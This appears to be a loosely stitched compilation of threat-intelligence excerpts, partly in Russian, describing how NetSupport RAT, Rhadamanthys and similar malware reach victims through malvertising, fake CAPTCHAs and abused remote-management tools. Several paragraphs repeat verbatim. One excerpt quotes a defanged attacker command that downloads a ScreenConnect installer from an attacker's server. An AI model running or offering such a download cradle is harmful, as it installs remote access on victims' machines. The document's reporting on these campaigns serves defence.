NetSupport RAT

Rhadamanthys is an infostealer distributed via malspam and malvertising. Google searches for popular software such as Notion return malicious ads. Threat actors are using decoy websites to trick users into downloading malware.

QuickAssist has become a mainstay for initial access by ransomware actors, often leveraged alongside external Microsoft Teams messages.

A compromised account was exploited to inject a malicious script, briefly exposing users to scam content.

A newly discovered supply chain attack has put thousands of e-commerce websites at risk after a popular third-party reviews widget was quietly turned into a malware delivery tool.

The attack used ClickFix-style social engineering lures in later stages.

TA571 email lure. In this campaign, emails contained an HTML attachment that displayed a page resembling Microsoft Word.

Victims who clicked the ad and visited the site were tricked with a download for NetSupport RAT. In this more recent campaign, the threat actor is pushing Rhadamanthys as the final payload, after an initial dropper.

Читатели сайта Gizmodo столкнулись с поддельными CAPTCHA, которые предлагали им запустить команды в терминале.

LummaC2 reaches out to remote resources via encoded PowerShell commands... Threats like SocGholish and Scarlet Goldfinch sometimes use malicious scripts compressed via a zip file.

That command then pulled down a PowerShell script or HTML Application file, which installed a remote access tool or information stealer on the victim’s machine.

After which, the adversary first attempted a cradle (command line that downloads and installs a payload as a single command) to install ScreenConnect: cmd.exe /c mkdir C:\Temp 2>NUL & curl.exe -L hxxps[:]//server[.]rarexterna[.]top/Bin/ScreenConnect.ClientSetup[.]msi

In this incident, the SmartApeSG injected JavaScript behaved as a staged loader, and did not attempt to execute every action immediately.

Посетителей просили подтвердить, что они люди, а для этого якобы требовалось выполнить определенные действия в терминале.

SocGholish... posing as necessary browser updates to trick users into running malicious code... Scarlet Goldfinch... uses JScript files to drop NetSupport Manager onto victim systems.

QuickAssist has become a mainstay for initial access by ransomware actors, often leveraged alongside external Microsoft Teams messages.

Insikt Group identified three main infection vectors associated with GrayAlpha: fake browser update pages, fake 7-Zip download sites, and the TDS TAG-124 network. Notably, the use of the TDS TAG-124 delivery mechanism had not been publicly documented prior to this report.

Threat actors continue to impersonate well-known brands via sponsored search results... Because it includes the official logo and website for Notion, most users will not think twice and click on the link.

Insikt Group identified three main infection vectors associated with GrayAlpha: fake browser update pages, fake 7-Zip download sites, and the TDS TAG-124 network. Notably, the use of the TDS TAG-124 delivery mechanism had not been publicly documented prior to this report.

That command then pulled down a PowerShell script or HTML Application file, which installed a remote access tool or information stealer on the victim’s machine.

In some examples ScreenConnect is the “first stage” using a malicious VBS script to install “software” while installing ScreenConnect in the background.

Over the last few years, threat actors have flocked to exploit legitimate remote monitoring and management (RMM) tools—blue-chip IT software like ScreenConnect, LogMeIn Resolve, and PDQ Connect—blurring the line between legitimate IT administration and malicious intrusion.

the button will covertly copy an obfuscated PowerShell command to the clipboard and present the user with “verification steps.”

The Hancitor malware, first observed in 2015, is a downloader known to deliver several other malware. In its first years, Hancitor was observed delivering information stealers such as Pony or Vawtrak, and in recent years, Ficker stealer and NetSupport RAT. In 2021, Hancitor was observed delivering the Cobalt-Strike attack framework...

Insikt Group identified three main infection vectors associated with GrayAlpha: fake browser update pages, fake 7-Zip download sites, and the TDS TAG-124 network. Notably, the use of the TDS TAG-124 delivery mechanism had not been publicly documented prior to this report.

На компьютерах под управлением Windows атакующие пытались установить NetSupport RAT. Этот троян злоупотребляет легитимным инструментом удаленного администрирования NetSupport Manager и предоставляет своим операторам доступ к зараженной системе.